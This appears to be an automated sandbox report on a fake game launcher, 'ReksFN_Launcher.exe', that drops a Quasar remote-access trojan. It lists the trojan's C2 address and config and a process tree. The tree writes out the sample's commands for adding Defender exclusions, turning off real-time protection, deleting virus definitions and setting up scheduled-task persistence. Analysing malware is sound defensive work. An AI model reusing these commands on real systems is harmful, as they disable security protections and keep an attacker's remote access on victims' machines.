Analysis

  • max time kernel
    149s
  • max time network
    170s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23/03/2024, 20:02

General

  • Target
    ReksFN_Launcher.exe
  • Size 7.1MB
  • Sample240323-yshw5sec2t
  • SHA256 5ad6d5a8cb6a4ebb33932780c1992126832461aa9d5684424c6c6ea42ea8a08a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.3.0.0

Botnet
  • Office04

C2
  • Vallithebest-32755.portmap.host:32755

Mutex
  • QSR_MUTEX_3gXoc7Rbb6gDK9k7Ha

Attributes
  • encryption_key

    6ti0U760Qb44URu6Tcg7

  • install_name

    WindowsSound.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    WindowsSound.exe

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 17 IoCs
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe
      "C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ReksFN_Launcher.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1860
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2284
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4068
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks" /create /tn "WindowsSound.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\bound.exe" /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:3232
          • C:\Users\Admin\AppData\Roaming\SubDir\WindowsSound.exe
            "C:\Users\Admin\AppData\Roaming\SubDir\WindowsSound.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4260
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks" /create /tn "WindowsSound.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\WindowsSound.exe" /rl HIGHEST /f
              6⤵
              • Creates scheduled task(s)
              PID:1888
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ohh , make sure to turn VPN or Proxy off before using this kind of software', 0, 'ReksFN', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ohh , make sure to turn VPN or Proxy off before using this kind of software', 0, 'ReksFN', 0+16);close()"
          4⤵
            PID:1424
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1520

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 82247b38a727575a654bd5e1e0b85bef2cefeba35e94ed5392fed9aea867574d
          • MD5 SHA1 SHA512

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\VCRUNTIME140.dll
          • Size 106KB
          • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
          • MD5 SHA1 SHA512 SSDEEP

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_bz2.pyd
          • Size 48KB
          • SHA256 abbe3933a34a9653a757244e8e55b0d7d3a108527a3e9e8a7f2013b5f2a9eff4
          • MD5 SHA1 SHA512 SSDEEP

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_ctypes.pyd
          • Size 58KB
          • SHA256 64e8fd952ccf5b8adca80ce8c7bc6c96ec7df381789256fe8d326f111f02e95c
          • MD5 SHA1 SHA512 SSDEEP

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_decimal.pyd
          • Size 106KB
          • SHA256 c4e8740c5dbbd2741fc4124908da4b65fa9c3e17d9c9bf3f634710202e0c7009
          • MD5 SHA1 SHA512 SSDEEP

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_hashlib.pyd
          • Size 35KB
          • SHA256 3660b985ca47ca1bba07db01458b3153e4e692ee57a8b23ce22f1a5ca18707c3
          • MD5 SHA1 SHA512 SSDEEP

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_lzma.pyd
          • Size 85KB
          • SHA256 3c9d5a9433b22538fc64141cd3784800c567c18e4379003329cf69a1d59b2a41
          • MD5 SHA1 SHA512 SSDEEP

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_queue.pyd
          • Size 25KB
          • SHA256 9d4880f7d0129b1de95becd8ea8bbbf0c044d63e87764d18f9ec00d382e43f84
          • MD5 SHA1 SHA512 SSDEEP

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_socket.pyd
          • Size 43KB
          • SHA256 4e19f29266a3d6c127e5e8de01d2c9b68bc55075dd3d6aabe22cf0de4b946a98
          • MD5 SHA1 SHA512 SSDEEP

          _sqlite3.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_sqlite3.pyd
          • Size 56KB
          • SHA256 6b41dfd7d6ac12afe523d74a68f8bd984a75e438dcf2daa23a1f934ca02e89da
          • MD5 SHA1 SHA512 SSDEEP

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\_ssl.pyd
          • Size 62KB
          • SHA256 3e6e9fc56e1a9fe5edb39ee03e5d47fa0e3f6adb17be1f087dc6f891d3b0bbca
          • MD5 SHA1 SHA512 SSDEEP

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\base_library.zip
          • Size 64KB
          • SHA256 ad5553f39d5d3bdb7ca2782972b6df49fb6719e7c0b974bb15df76642e24dbcd
          • MD5 SHA1 SHA512 SSDEEP

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\blank.aes
          • Size 117KB
          • SHA256 49ab978d0c239b1640253428da6b4e608906254c6d916a311d42fc514b245c77
          • MD5 SHA1 SHA512 SSDEEP

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\blank.aes
          • Size 117KB
          • SHA256 66a28f3f5f302ecbac1e29b1c27648816d5b9de992214494a51382d4614b1baf
          • MD5 SHA1 SHA512 SSDEEP

          bound.blank

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\bound.blank
          • Size 178KB
          • SHA256 68b5e5b0ee26ebfdd5fc9653f7d216c28b5c8ca93109606d7f79bd82ed1ea7f0
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto-1_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\libcrypto-1_1.dll
          • Size 1.1MB
          • SHA256 135b115e77479eedd908d7a782e004ece6dd900bb1ca05cc1260d5dd6273ef15
          • MD5 SHA1 SHA512 SSDEEP

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\libffi-8.dll
          • Size 29KB
          • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
          • MD5 SHA1 SHA512 SSDEEP

          libssl-1_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\libssl-1_1.dll
          • Size 204KB
          • SHA256 a6a14c1beccbd4128763e78c3ec588f747640297ffb3cc5604a9728e8ef246b1
          • MD5 SHA1 SHA512 SSDEEP

          python311.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\python311.dll
          • Size 1.6MB
          • SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
          • MD5 SHA1 SHA512 SSDEEP

          rar.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\rar.exe
          • Size 615KB
          • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
          • MD5 SHA1 SHA512 SSDEEP

          rarreg.key

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\rarreg.key
          • Size 467B
          • SHA256 e63f3d6710097498085564dfc85add6ed4cf44238c33d20820d2426abcee4e31
          • MD5 SHA1 SHA512

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\select.pyd
          • Size 25KB
          • SHA256 5bbbb4f0b4f9e5329ba1d518d6e8144b1f7d83e2d7eaf6c50eef6a304d78f37d
          • MD5 SHA1 SHA512 SSDEEP

          sqlite3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\sqlite3.dll
          • Size 622KB
          • SHA256 8e8870dac8c96217feff4fa8af7c687470fbccd093d97121bc1eac533f47316c
          • MD5 SHA1 SHA512 SSDEEP

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI36482\unicodedata.pyd
          • Size 295KB
          • SHA256 987a6d21ce961afeaaa40ba69859d4dd80d20b77c4ca6d2b928305a873d6796d
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_ojbz3zu5.lbq.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ojbz3zu5.lbq.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          bound.exe

          • Path C:\Users\Admin\AppData\Local\Temp\bound.exe
          • Size 348KB
          • SHA256 a16d45a7088e5e5cfe99101466a6c790cb15657c6b4f0d93c8fe2383bbbdddd7
          • MD5 SHA1 SHA512 SSDEEP

          memory/1588-157-0x00007FFE43A20000-0x00007FFE43AD8000-memory.dmp

          memory/1588-144-0x00007FFE48210000-0x00007FFE48233000-memory.dmp

          memory/1588-66-0x00007FFE48430000-0x00007FFE4843D000-memory.dmp

          memory/1588-64-0x00007FFE48050000-0x00007FFE48069000-memory.dmp

          memory/1588-68-0x00007FFE43B60000-0x00007FFE43B8E000-memory.dmp

          memory/1588-72-0x00007FFE32750000-0x00007FFE32D39000-memory.dmp

          memory/1588-73-0x00007FFE43A20000-0x00007FFE43AD8000-memory.dmp

          memory/1588-76-0x00007FFE48210000-0x00007FFE48233000-memory.dmp

          memory/1588-75-0x00007FFE32090000-0x00007FFE32408000-memory.dmp

          memory/1588-74-0x0000012513B10000-0x0000012513E88000-memory.dmp

          memory/1588-78-0x00007FFE43B40000-0x00007FFE43B54000-memory.dmp

          memory/1588-81-0x00007FFE448B0000-0x00007FFE448BD000-memory.dmp

          memory/1588-80-0x00007FFE48070000-0x00007FFE4809D000-memory.dmp

          memory/1588-84-0x00007FFE49CA0000-0x00007FFE49CB9000-memory.dmp

          memory/1588-85-0x00007FFE31F70000-0x00007FFE3208C000-memory.dmp

          memory/1588-86-0x00007FFE44910000-0x00007FFE44933000-memory.dmp

          memory/1588-60-0x00007FFE44910000-0x00007FFE44933000-memory.dmp

          memory/1588-26-0x00007FFE32750000-0x00007FFE32D39000-memory.dmp

          memory/1588-58-0x00007FFE49CA0000-0x00007FFE49CB9000-memory.dmp

          memory/1588-31-0x00007FFE48210000-0x00007FFE48233000-memory.dmp

          memory/1588-117-0x00007FFE32750000-0x00007FFE32D39000-memory.dmp

          memory/1588-118-0x00007FFE48210000-0x00007FFE48233000-memory.dmp

          memory/1588-150-0x00007FFE49CA0000-0x00007FFE49CB9000-memory.dmp

          memory/1588-33-0x00007FFE4DC50000-0x00007FFE4DC5F000-memory.dmp

          memory/1588-124-0x00007FFE32410000-0x00007FFE32587000-memory.dmp

          memory/1588-126-0x00007FFE48050000-0x00007FFE48069000-memory.dmp

          memory/1588-128-0x00007FFE43B60000-0x00007FFE43B8E000-memory.dmp

          memory/1588-130-0x00007FFE32090000-0x00007FFE32408000-memory.dmp

          memory/1588-162-0x00007FFE31F70000-0x00007FFE3208C000-memory.dmp

          memory/1588-132-0x00007FFE43B40000-0x00007FFE43B54000-memory.dmp

          memory/1588-160-0x00007FFE448B0000-0x00007FFE448BD000-memory.dmp

          memory/1588-159-0x00007FFE43B40000-0x00007FFE43B54000-memory.dmp

          memory/1588-158-0x00007FFE32090000-0x00007FFE32408000-memory.dmp

          memory/1588-156-0x00007FFE43B60000-0x00007FFE43B8E000-memory.dmp

          memory/1588-56-0x00007FFE48070000-0x00007FFE4809D000-memory.dmp

          memory/1588-155-0x00007FFE48430000-0x00007FFE4843D000-memory.dmp

          memory/1588-142-0x00007FFE32750000-0x00007FFE32D39000-memory.dmp

          memory/1588-154-0x00007FFE48050000-0x00007FFE48069000-memory.dmp

          memory/1588-62-0x00007FFE32410000-0x00007FFE32587000-memory.dmp

          memory/1588-153-0x00007FFE32410000-0x00007FFE32587000-memory.dmp

          memory/1588-146-0x00007FFE4DC50000-0x00007FFE4DC5F000-memory.dmp

          memory/1588-148-0x00007FFE48070000-0x00007FFE4809D000-memory.dmp

          memory/1588-151-0x00007FFE44910000-0x00007FFE44933000-memory.dmp

          memory/1860-161-0x0000028A3D270000-0x0000028A3D280000-memory.dmp

          memory/1860-174-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/1860-140-0x0000028A3D270000-0x0000028A3D280000-memory.dmp

          memory/1860-152-0x0000028A3D270000-0x0000028A3D280000-memory.dmp

          memory/1860-136-0x0000028A3D270000-0x0000028A3D280000-memory.dmp

          memory/1860-135-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/2284-176-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/2284-141-0x0000018C39D30000-0x0000018C39D40000-memory.dmp

          memory/2284-137-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/2284-139-0x0000018C39D30000-0x0000018C39D40000-memory.dmp

          memory/3752-138-0x0000028E83EA0000-0x0000028E83EB0000-memory.dmp

          memory/3752-107-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/3752-164-0x0000028E83EA0000-0x0000028E83EB0000-memory.dmp

          memory/3752-175-0x00007FFE313F0000-0x00007FFE31EB2000-memory.dmp

          memory/3752-145-0x0000028E83EA0000-0x0000028E83EB0000-memory.dmp

          memory/3752-89-0x0000028E83F10000-0x0000028E83F32000-memory.dmp

          memory/3752-147-0x0000028E83EA0000-0x0000028E83EB0000-memory.dmp

          memory/4068-149-0x0000000005300000-0x0000000005310000-memory.dmp

          memory/4068-143-0x0000000074660000-0x0000000074E11000-memory.dmp

          memory/4068-120-0x0000000000990000-0x00000000009EE000-memory.dmp

          memory/4068-163-0x0000000005590000-0x00000000055F6000-memory.dmp

          memory/4068-131-0x00000000053F0000-0x0000000005482000-memory.dmp

          memory/4068-125-0x0000000005900000-0x0000000005EA6000-memory.dmp

          memory/4068-177-0x0000000006700000-0x000000000673C000-memory.dmp

          memory/4068-171-0x00000000062D0000-0x00000000062E2000-memory.dmp

          memory/4068-184-0x0000000074660000-0x0000000074E11000-memory.dmp

          memory/4260-185-0x0000000074660000-0x0000000074E11000-memory.dmp

          memory/4260-186-0x0000000005310000-0x0000000005320000-memory.dmp

          memory/4260-188-0x0000000006910000-0x000000000691A000-memory.dmp

          memory/4260-189-0x0000000074660000-0x0000000074E11000-memory.dmp

          memory/4260-190-0x0000000005310000-0x0000000005320000-memory.dmp